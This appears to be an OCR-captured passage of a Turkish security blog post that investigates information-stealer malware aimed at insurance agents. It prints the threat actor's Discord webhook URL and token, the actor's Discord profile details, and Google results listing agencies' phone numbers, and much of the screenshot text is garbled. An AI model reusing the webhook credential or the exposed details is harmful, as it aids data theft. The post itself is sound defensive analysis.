1"'1119716450886758400" , "username" : "Nedimtac", "avatar":null,"discriminator":"9375","public_flags":0,"flags" r":null,"accent_cols 1,"global_name":null,"avatar_decor
ation":null,"banner_color":null},"token/a' bn3XWahnRDXI_2tbBWpTonpf1GrU11zDgpV48hlkuiyjtsbPuHIbN5QgmDuwsR1lv ' 1":"https://discord. pi/webhooks/1133485749174534244/
bn3XWahnRDXI_2tbBWpTonpf1Gru11zDgpV48h3 ./jtshPuHIbNSOnguwsRlvitAr";]

Bu kisinin kullanici adi 2023 yilinin Temmuz ayinda iplikkkk, Agustos ayinda
gdrinen adi SANALIN FATIHI olarak degistikten sonra Eyliil ayinda ise hesabi
tamamen silindi. Bu kisiyle iletisime gecmeye calissam da davetimi kabul

etmedigi icin sohbet etme sansim maalesef olamadi.


https://discord.com/api/webhooks/1133485749174534244/bn3XWahnRDXI_2tbBWpTonpflGrU11zDgpV48h1kuiyjtsbPuHIbN5QgmDuwsRlvit4r

iplikci Nedim
Nedimtac#9375

User Info Mutual Servers

DISCORD MEMBER SINCE
Jun 17, 2023

NOTE
Click to add a note

Mutual Friends




@ iplikci Nedim
W

iplikkkk

Iplikci Nedim
iplikkkk iplikgi Nedim

iplikkkk

This is the beginning of your direct message history with iplikgi Nedim.
DISCORD MEMBER SINCE

No servers in common Friend Request Sent Block Jun 17, 2023

NOTE

Click to add a note

JEBN

Wave to iplikkkk

> SANALIN FATiHI B A 2 @ serh

SANALIN FATIHi SANALIN FATiHi
iplikkkk i

This is the beginning of your direct message history with SANALIN FATiHi. Jun 17,2023

DISCORD MEMBER SINCE

No servers in common Friend Request Sent Block NOTE
Click to add a note

N

Wave to iplikkkk




@ Deleted User 6752921f (DI I SN -

Deleted User 675a921f
Deleted U 675a921f
Deleted User 675a921f#5894 D:eteed?Jser ;gar‘mf#si%

This is the beginning of your direct message history with Deleted User 675a921f. DISCORD MEMBER SINCE

Jun 17, 2023
No servers in common Friend Request Sent Block

NOTE

Click to add a note

Wave to Deleted User 675a921f

Sigorta Danismani / Acentesi Neden
Hedef Alinmis Olabilir?

Sira diger bir soruya yanit bulmaya gelmisti. Tehdit aktoru, sigorta
danismaninin cep telefonunu nereden ve nasil bulmus olabilirdi? Bundan cok
daha fazla bilginin dolandiricilarin ellerinde gezdigi son yillarda, cep
telefonu bilgimizin kimlerin elinde oldugunu tahmin etmek c¢ok zor olmasa da
bu konu 6zelinde biraz kafa yormaya karar verdim.

Mevzu bahis sigorta danismani oldugunda ayni emlak danismanlarinda oldugu
gibi muhtemelen cep telefonu bilgisi internette, genele ac¢ik bir yerlerde
kolay bulanabilir ve iletisim kurulabilir olmaliydi. Bu tehdit aktdru sigorta
acentelerini hedef aliyorsa o halde bunun icin ilk basvuracagi yer Google
arama motoru olduysa rahtalikla bu bilgiyi buradan elde etmis olabilir miydi?

Bunun ic¢in Google arama motorunda “sigorta acentesi” anahtar kelimesiyle
arama yaptigimda cep telefonu bilgisini paylasan cok sayida sigorta acentesi
oldugunu gordim. Sigorta danismanlarini, acentelerini hedef alan tehdit
aktorinin bu yontemle hackledigi sistemleri ve o sistemler lzerinden sigorta
sirketlerinin i¢ sistemlerine baglanarak hangi bilgilerimizi
sorgulayabileceklerini disindugumde, bu konu beni fazlasiyla endiselendirmeye
yetti de artti.



¢ Google
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Rating ~ TN
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4.9 %% % %k (33) - Insurance agency - 10+ years ... ACENTESI
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Sigorta
Acentesi.

Malta
Cyprus

Mediterranean Sea (
® Website © Directions R Call < Share e ¢ Baghdad
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Sigorta wf:a;w&lﬁ Jerusalemp
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Sofia _
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. Sigorta: i D
5.0 %% %k *k (28) - Insurance agency - 10+ years .. SlGO RTA v 7

AT éigorta
Op AM Fri - Atasehir/Istanbul, Tiirkiye -. 5.0 %k kkk (11) f

SIGORTA’ CAN
-..,I..‘ —— 3 Open

SIGORTA

lece 2
® Website & Directions v, Call < Share ® Website © Directions X Call < Share Athens T HIZI?/IIGL%F){TA Tiirkiye
Aenva 3 P
% * SIGORTA
b SIGORTA Overview TN
T -
Wy W§ 5.0 %%%%% (11) - Insurance agency
- Open 24 hours - Gebze/Kocaeli, Tiirkiye - +90 506 4... i Cyprus &
Open 24 hours W Leban
+90 506 4 7
® Website & Directions . Call < Share +

Alexandria
WWW. com a,, Yl Jerusaler — Ji

Si t Services: G | liability i Life A \ = Cairo Israel
igorta - L A o K R T LU T LU S SR  (©2009), Google, Inst. Geogr. Nacional, Mapa GiSrael

= 5.0 %% % %% (49) - Insurance agency

Sonuc

Sigorta danismanlarinin, acentelerinin tehdit aktdrleri tarafindan bilgi
hirsizi zararli yazilimlari ile neden hedef alindigi lizerine biraz
disindigimde aklima, elde ettikleri bu bilgileri e-Devlet Hacklendi mi?
yazimdaki gibi sorgulanabilir panellere doénistirme ve/veya dolandiricilara
satma potansiyelinin oldukc¢a yuksek olma ihtimali geldi. Bu ihtimal dusuk de
olsa yiksek de olsa, tehdit aktorlerinin kisisel verilerimize g6z diktigi, bu
verilere erisebilen kurumlari hedef aldigi maalesef glinlimizin yadsinamaz bir

gercegidir.

Sonug olarak siz siz olun, cep telefonunuza tanimadiginiz kisilerden gelen


https://www.mertsarica.com/e-devlet-hacklendi-mi/

baglanti adreslerine (link) tiklamadan, dosyalari acmadan, calistirmadan Once
iki defa disunmeyi ihmal etmeyin.

Bir sonraki yazida goOrismek dilegiyle herkese givenli ginler dilerim.



